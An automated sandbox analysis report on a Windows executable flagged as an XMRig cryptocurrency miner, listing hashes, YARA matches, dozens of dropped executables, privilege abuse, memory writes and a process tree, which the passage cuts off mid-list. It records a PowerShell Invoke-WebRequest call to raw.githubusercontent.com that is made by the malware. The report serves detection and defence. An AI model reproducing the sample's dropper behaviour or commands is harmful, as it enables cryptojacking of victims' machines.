xmrig | 1dd3d9deeeb32235e4e797df605e661c56bfb17bcfb213f447839dd93456822f

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
03/06/2024, 23:12

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
Size

3.6MB
MD5

0f9299bb3ce988bf0e29b140ac2901f0
SHA1

f1532bb9a2febfed93e89c2b0d0e459d2cb44027
SHA256

1dd3d9deeeb32235e4e797df605e661c56bfb17bcfb213f447839dd93456822f
SHA512

01e262e55ad883296f4c93cdba8ac606c75384bd06d12f9fea3fabbfe9e2ef343d423439805babd2667eb6973c6b063bb27c2248c3e0b83dc95118f072ef011c
SSDEEP

98304:71ONtyBeSFkXV1etEKLlWUTOfeiRA2R76zHrWV:7bBeSFkh

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 64 IoCs

miner

resource	yara_rule
behavioral2/memory/4796-0-0x00007FF644C00000-0x00007FF644FF6000-memory.dmp	xmrig
behavioral2/files/0x0008000000023401-5.dat	xmrig
behavioral2/files/0x0007000000023403-8.dat	xmrig
behavioral2/files/0x0007000000023402-9.dat	xmrig
behavioral2/files/0x0007000000023405-28.dat	xmrig
behavioral2/files/0x0007000000023404-26.dat	xmrig
behavioral2/memory/3440-15-0x00007FF6976C0000-0x00007FF697AB6000-memory.dmp	xmrig
behavioral2/memory/2796-6-0x00007FF6C3DE0000-0x00007FF6C41D6000-memory.dmp	xmrig
behavioral2/files/0x0007000000023407-37.dat	xmrig
behavioral2/files/0x0007000000023408-63.dat	xmrig
behavioral2/files/0x000800000002340c-67.dat	xmrig
behavioral2/files/0x000800000002340b-94.dat	xmrig
behavioral2/files/0x0007000000023412-108.dat	xmrig
behavioral2/files/0x0007000000023415-124.dat	xmrig
behavioral2/files/0x0007000000023419-140.dat	xmrig
behavioral2/files/0x000700000002341c-161.dat	xmrig
behavioral2/memory/5040-898-0x00007FF698FE0000-0x00007FF6993D6000-memory.dmp	xmrig
behavioral2/memory/1624-914-0x00007FF6DA070000-0x00007FF6DA466000-memory.dmp	xmrig
behavioral2/memory/3280-924-0x00007FF775E80000-0x00007FF776276000-memory.dmp	xmrig
behavioral2/memory/3240-927-0x00007FF601DA0000-0x00007FF602196000-memory.dmp	xmrig
behavioral2/memory/3224-940-0x00007FF6A2CE0000-0x00007FF6A30D6000-memory.dmp	xmrig
behavioral2/memory/460-938-0x00007FF64EE90000-0x00007FF64F286000-memory.dmp	xmrig
behavioral2/memory/1316-946-0x00007FF6A8520000-0x00007FF6A8916000-memory.dmp	xmrig
behavioral2/memory/3228-950-0x00007FF7D2F30000-0x00007FF7D3326000-memory.dmp	xmrig
behavioral2/memory/2944-955-0x00007FF7ECEF0000-0x00007FF7ED2E6000-memory.dmp	xmrig
behavioral2/memory/628-933-0x00007FF7E1E00000-0x00007FF7E21F6000-memory.dmp	xmrig
behavioral2/memory/4816-930-0x00007FF6CB470000-0x00007FF6CB866000-memory.dmp	xmrig
behavioral2/memory/4076-920-0x00007FF648E20000-0x00007FF649216000-memory.dmp	xmrig
behavioral2/memory/1020-910-0x00007FF60DF30000-0x00007FF60E326000-memory.dmp	xmrig
behavioral2/memory/3052-905-0x00007FF73AC60000-0x00007FF73B056000-memory.dmp	xmrig
behavioral2/files/0x0007000000023421-178.dat	xmrig
behavioral2/files/0x000700000002341f-176.dat	xmrig
behavioral2/files/0x0007000000023420-173.dat	xmrig
behavioral2/files/0x000700000002341e-171.dat	xmrig
behavioral2/files/0x000700000002341d-166.dat	xmrig
behavioral2/files/0x000700000002341b-156.dat	xmrig
behavioral2/files/0x000700000002341a-151.dat	xmrig
behavioral2/files/0x0007000000023418-136.dat	xmrig
behavioral2/files/0x0007000000023417-134.dat	xmrig
behavioral2/files/0x0007000000023416-129.dat	xmrig
behavioral2/memory/1820-961-0x00007FF78C710000-0x00007FF78CB06000-memory.dmp	xmrig
behavioral2/memory/412-970-0x00007FF75C720000-0x00007FF75CB16000-memory.dmp	xmrig
behavioral2/memory/4036-965-0x00007FF7A0F00000-0x00007FF7A12F6000-memory.dmp	xmrig
behavioral2/memory/3644-964-0x00007FF79E910000-0x00007FF79ED06000-memory.dmp	xmrig
behavioral2/files/0x0007000000023414-118.dat	xmrig
behavioral2/files/0x0007000000023413-114.dat	xmrig
behavioral2/memory/3212-974-0x00007FF7AE810000-0x00007FF7AEC06000-memory.dmp	xmrig
behavioral2/files/0x0007000000023411-104.dat	xmrig
behavioral2/files/0x0007000000023410-98.dat	xmrig
behavioral2/memory/4456-991-0x00007FF612400000-0x00007FF6127F6000-memory.dmp	xmrig
behavioral2/memory/5008-986-0x00007FF7E1950000-0x00007FF7E1D46000-memory.dmp	xmrig
behavioral2/files/0x000700000002340f-88.dat	xmrig
behavioral2/files/0x000700000002340e-84.dat	xmrig
behavioral2/files/0x000700000002340d-78.dat	xmrig
behavioral2/files/0x000700000002340a-73.dat	xmrig
behavioral2/files/0x0007000000023409-58.dat	xmrig
behavioral2/files/0x0007000000023406-40.dat	xmrig
behavioral2/memory/900-33-0x00007FF62A800000-0x00007FF62ABF6000-memory.dmp	xmrig
behavioral2/memory/2796-2265-0x00007FF6C3DE0000-0x00007FF6C41D6000-memory.dmp	xmrig
behavioral2/memory/2796-2266-0x00007FF6C3DE0000-0x00007FF6C41D6000-memory.dmp	xmrig
behavioral2/memory/900-2267-0x00007FF62A800000-0x00007FF62ABF6000-memory.dmp	xmrig
behavioral2/memory/3440-2268-0x00007FF6976C0000-0x00007FF697AB6000-memory.dmp	xmrig
behavioral2/memory/3052-2270-0x00007FF73AC60000-0x00007FF73B056000-memory.dmp	xmrig
behavioral2/memory/5040-2269-0x00007FF698FE0000-0x00007FF6993D6000-memory.dmp	xmrig

Blocklisted process makes network request 10 IoCs

flow	pid	Process
4	3432	powershell.exe
6	3432	powershell.exe
10	3432	powershell.exe
11	3432	powershell.exe
13	3432	powershell.exe
14	3432	powershell.exe
18	3432	powershell.exe
22	3432	powershell.exe
23	3432	powershell.exe
24	3432	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
3432	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
2796	aQoStdh.exe
3440	BrRKzcy.exe
900	PpMwkaB.exe
5040	QhSchfA.exe
3052	tmywhqX.exe
5008	ltoogbv.exe
1020	sokIYqI.exe
1624	sAtYElo.exe
4076	oRQLNak.exe
4456	lYjqOra.exe
3280	kJeAiuR.exe
3240	YDoEStz.exe
4816	ZlIadZL.exe
628	cLBnund.exe
460	wJVplsq.exe
3224	OhRQOVU.exe
1316	CQoYUZE.exe
3228	FoyVTRR.exe
2944	cuGYCpm.exe
1820	XvosbRr.exe
3644	KLnqoGl.exe
4036	nNPnIDx.exe
412	LgkYyTw.exe
3212	OJEPDGY.exe
1172	VWySBJj.exe
3436	JaPMAfw.exe
1180	BsPHvvL.exe
1760	gPAUjbd.exe
748	mEMyWZx.exe
4224	WyaPTZM.exe
2220	HBGETAW.exe
3576	HmmkbbI.exe
3824	RkGSNgo.exe
1796	XscmxLL.exe
4848	uiXBrRB.exe
4308	dnLoDmz.exe
4876	IcCrsPB.exe
1580	QfNdyCe.exe
1560	IzYGFJV.exe
4720	tFEkKRv.exe
3252	XzIjuFv.exe
5100	aKEYGWk.exe
4404	jxNUSDd.exe
5024	vzzCeEt.exe
1288	yMiiUvL.exe
448	qJjhEcj.exe
1212	SrcRMxA.exe
1372	eYxGLWw.exe
4996	WtBLuqa.exe
4748	NvYzQCv.exe
3000	qyMjtXt.exe
2264	dUyRPvh.exe
1208	XplPFqb.exe
4604	LIKXEVi.exe
3420	lnPRSOI.exe
5000	VBFNYZl.exe
2984	LWXGrvW.exe
2784	QWyiyFf.exe
3328	QYyecWP.exe
2196	RZNWfIM.exe
4264	hyZoMoC.exe
1160	OALrnzV.exe
4320	txcoBXb.exe
3608	lULVewl.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4796-0-0x00007FF644C00000-0x00007FF644FF6000-memory.dmp	upx
behavioral2/files/0x0008000000023401-5.dat	upx
behavioral2/files/0x0007000000023403-8.dat	upx
behavioral2/files/0x0007000000023402-9.dat	upx
behavioral2/files/0x0007000000023405-28.dat	upx
behavioral2/files/0x0007000000023404-26.dat	upx
behavioral2/memory/3440-15-0x00007FF6976C0000-0x00007FF697AB6000-memory.dmp	upx
behavioral2/memory/2796-6-0x00007FF6C3DE0000-0x00007FF6C41D6000-memory.dmp	upx
behavioral2/files/0x0007000000023407-37.dat	upx
behavioral2/files/0x0007000000023408-63.dat	upx
behavioral2/files/0x000800000002340c-67.dat	upx
behavioral2/files/0x000800000002340b-94.dat	upx
behavioral2/files/0x0007000000023412-108.dat	upx
behavioral2/files/0x0007000000023415-124.dat	upx
behavioral2/files/0x0007000000023419-140.dat	upx
behavioral2/files/0x000700000002341c-161.dat	upx
behavioral2/memory/5040-898-0x00007FF698FE0000-0x00007FF6993D6000-memory.dmp	upx
behavioral2/memory/1624-914-0x00007FF6DA070000-0x00007FF6DA466000-memory.dmp	upx
behavioral2/memory/3280-924-0x00007FF775E80000-0x00007FF776276000-memory.dmp	upx
behavioral2/memory/3240-927-0x00007FF601DA0000-0x00007FF602196000-memory.dmp	upx
behavioral2/memory/3224-940-0x00007FF6A2CE0000-0x00007FF6A30D6000-memory.dmp	upx
behavioral2/memory/460-938-0x00007FF64EE90000-0x00007FF64F286000-memory.dmp	upx
behavioral2/memory/1316-946-0x00007FF6A8520000-0x00007FF6A8916000-memory.dmp	upx
behavioral2/memory/3228-950-0x00007FF7D2F30000-0x00007FF7D3326000-memory.dmp	upx
behavioral2/memory/2944-955-0x00007FF7ECEF0000-0x00007FF7ED2E6000-memory.dmp	upx
behavioral2/memory/628-933-0x00007FF7E1E00000-0x00007FF7E21F6000-memory.dmp	upx
behavioral2/memory/4816-930-0x00007FF6CB470000-0x00007FF6CB866000-memory.dmp	upx
behavioral2/memory/4076-920-0x00007FF648E20000-0x00007FF649216000-memory.dmp	upx
behavioral2/memory/1020-910-0x00007FF60DF30000-0x00007FF60E326000-memory.dmp	upx
behavioral2/memory/3052-905-0x00007FF73AC60000-0x00007FF73B056000-memory.dmp	upx
behavioral2/files/0x0007000000023421-178.dat	upx
behavioral2/files/0x000700000002341f-176.dat	upx
behavioral2/files/0x0007000000023420-173.dat	upx
behavioral2/files/0x000700000002341e-171.dat	upx
behavioral2/files/0x000700000002341d-166.dat	upx
behavioral2/files/0x000700000002341b-156.dat	upx
behavioral2/files/0x000700000002341a-151.dat	upx
behavioral2/files/0x0007000000023418-136.dat	upx
behavioral2/files/0x0007000000023417-134.dat	upx
behavioral2/files/0x0007000000023416-129.dat	upx
behavioral2/memory/1820-961-0x00007FF78C710000-0x00007FF78CB06000-memory.dmp	upx
behavioral2/memory/412-970-0x00007FF75C720000-0x00007FF75CB16000-memory.dmp	upx
behavioral2/memory/4036-965-0x00007FF7A0F00000-0x00007FF7A12F6000-memory.dmp	upx
behavioral2/memory/3644-964-0x00007FF79E910000-0x00007FF79ED06000-memory.dmp	upx
behavioral2/files/0x0007000000023414-118.dat	upx
behavioral2/files/0x0007000000023413-114.dat	upx
behavioral2/memory/3212-974-0x00007FF7AE810000-0x00007FF7AEC06000-memory.dmp	upx
behavioral2/files/0x0007000000023411-104.dat	upx
behavioral2/files/0x0007000000023410-98.dat	upx
behavioral2/memory/4456-991-0x00007FF612400000-0x00007FF6127F6000-memory.dmp	upx
behavioral2/memory/5008-986-0x00007FF7E1950000-0x00007FF7E1D46000-memory.dmp	upx
behavioral2/files/0x000700000002340f-88.dat	upx
behavioral2/files/0x000700000002340e-84.dat	upx
behavioral2/files/0x000700000002340d-78.dat	upx
behavioral2/files/0x000700000002340a-73.dat	upx
behavioral2/files/0x0007000000023409-58.dat	upx
behavioral2/files/0x0007000000023406-40.dat	upx
behavioral2/memory/900-33-0x00007FF62A800000-0x00007FF62ABF6000-memory.dmp	upx
behavioral2/memory/2796-2265-0x00007FF6C3DE0000-0x00007FF6C41D6000-memory.dmp	upx
behavioral2/memory/2796-2266-0x00007FF6C3DE0000-0x00007FF6C41D6000-memory.dmp	upx
behavioral2/memory/900-2267-0x00007FF62A800000-0x00007FF62ABF6000-memory.dmp	upx
behavioral2/memory/3440-2268-0x00007FF6976C0000-0x00007FF697AB6000-memory.dmp	upx
behavioral2/memory/3052-2270-0x00007FF73AC60000-0x00007FF73B056000-memory.dmp	upx
behavioral2/memory/5040-2269-0x00007FF698FE0000-0x00007FF6993D6000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
3	raw.githubusercontent.com
4	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\uiXBrRB.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\jgJVQEC.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\pVtSGmW.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\FGrqcrb.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\dRglhbh.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\KmtfEcP.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\xtVvIoI.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\GOLlDnP.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\HCuZmUw.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\lKAEOWG.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\HnvXtVX.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\iJScOVI.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\yPGKsrJ.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\gJzEoYU.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\ruITuyt.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\iMGXadM.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\OJtpOYr.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\QfPiAkb.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\SrJjkGg.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\QNZKGTP.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\XfhzwZR.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\YvvCJVg.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\TCdMuXu.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\xQlEpru.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\MHCpKgR.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\INnNaLd.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\fwrCmIT.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\oTbgcAm.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\BBDlSBv.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\PoOtsFF.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\canedte.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\KnOiNuT.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\PrEOtTF.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\QrwIgFA.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\TVYvcRu.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\vLkdryM.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\rWhyfOj.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\bowyQuM.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\vtlsvIU.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\AZQOdPI.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\CSWGEQV.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\xWGisPH.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\DmcRMhY.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\pJzQFuE.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\rGmFibX.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\rKzyHqO.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\OMRzWeq.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\TEMfVsA.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\QDgtfZV.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\QrAvPzF.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\sVGPZCd.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\cnTTevR.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\vAfodwh.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\cYzYvkI.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\apiwFpR.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\yxYAlYK.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\NcujqiR.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\NjeJpeK.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\dqFoJer.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\gYVODNJ.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\HsBRwNL.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\eEAOXmI.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\WZHrvem.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
File created	C:\Windows\System\kKXGMtQ.exe	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3432	powershell.exe
3432	powershell.exe
3432	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
Token: SeLockMemoryPrivilege	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
Token: SeDebugPrivilege	3432	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4796 wrote to memory of 3432	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	86
PID 4796 wrote to memory of 3432	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	86
PID 4796 wrote to memory of 2796	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	87
PID 4796 wrote to memory of 2796	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	87
PID 4796 wrote to memory of 3440	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	88
PID 4796 wrote to memory of 3440	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	88
PID 4796 wrote to memory of 900	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	89
PID 4796 wrote to memory of 900	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	89
PID 4796 wrote to memory of 5040	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	90
PID 4796 wrote to memory of 5040	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	90
PID 4796 wrote to memory of 3052	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	91
PID 4796 wrote to memory of 3052	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	91
PID 4796 wrote to memory of 5008	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	92
PID 4796 wrote to memory of 5008	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	92
PID 4796 wrote to memory of 1020	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	93
PID 4796 wrote to memory of 1020	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	93
PID 4796 wrote to memory of 1624	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	94
PID 4796 wrote to memory of 1624	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	94
PID 4796 wrote to memory of 4076	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	96
PID 4796 wrote to memory of 4076	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	96
PID 4796 wrote to memory of 3280	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	97
PID 4796 wrote to memory of 3280	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	97
PID 4796 wrote to memory of 4456	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	99
PID 4796 wrote to memory of 4456	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	99
PID 4796 wrote to memory of 3240	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	100
PID 4796 wrote to memory of 3240	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	100
PID 4796 wrote to memory of 4816	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	101
PID 4796 wrote to memory of 4816	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	101
PID 4796 wrote to memory of 628	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	102
PID 4796 wrote to memory of 628	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	102
PID 4796 wrote to memory of 460	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	103
PID 4796 wrote to memory of 460	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	103
PID 4796 wrote to memory of 3224	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	104
PID 4796 wrote to memory of 3224	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	104
PID 4796 wrote to memory of 1316	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	105
PID 4796 wrote to memory of 1316	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	105
PID 4796 wrote to memory of 3228	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	106
PID 4796 wrote to memory of 3228	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	106
PID 4796 wrote to memory of 2944	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	107
PID 4796 wrote to memory of 2944	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	107
PID 4796 wrote to memory of 1820	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	108
PID 4796 wrote to memory of 1820	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	108
PID 4796 wrote to memory of 3644	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	109
PID 4796 wrote to memory of 3644	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	109
PID 4796 wrote to memory of 4036	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	110
PID 4796 wrote to memory of 4036	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	110
PID 4796 wrote to memory of 412	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	111
PID 4796 wrote to memory of 412	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	111
PID 4796 wrote to memory of 3212	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	112
PID 4796 wrote to memory of 3212	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	112
PID 4796 wrote to memory of 1172	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	113
PID 4796 wrote to memory of 1172	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	113
PID 4796 wrote to memory of 3436	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	114
PID 4796 wrote to memory of 3436	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	114
PID 4796 wrote to memory of 1180	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	115
PID 4796 wrote to memory of 1180	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	115
PID 4796 wrote to memory of 1760	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	116
PID 4796 wrote to memory of 1760	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	116
PID 4796 wrote to memory of 748	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	117
PID 4796 wrote to memory of 748	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	117
PID 4796 wrote to memory of 4224	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	118
PID 4796 wrote to memory of 4224	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	118
PID 4796 wrote to memory of 2220	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	119
PID 4796 wrote to memory of 2220	4796	0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe	119

C:\Users\Admin\AppData\Local\Temp\0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\0f9299bb3ce988bf0e29b140ac2901f0_NeikiAnalytics.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4796
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3432
- C:\Windows\System\aQoStdh.exe
  C:\Windows\System\aQoStdh.exe
  2⤵
  - Executes dropped EXE
  PID:2796
- C:\Windows\System\BrRKzcy.exe
  C:\Windows\System\BrRKzcy.exe
  2⤵
  - Executes dropped EXE
  PID:3440
- C:\Windows\System\PpMwkaB.exe
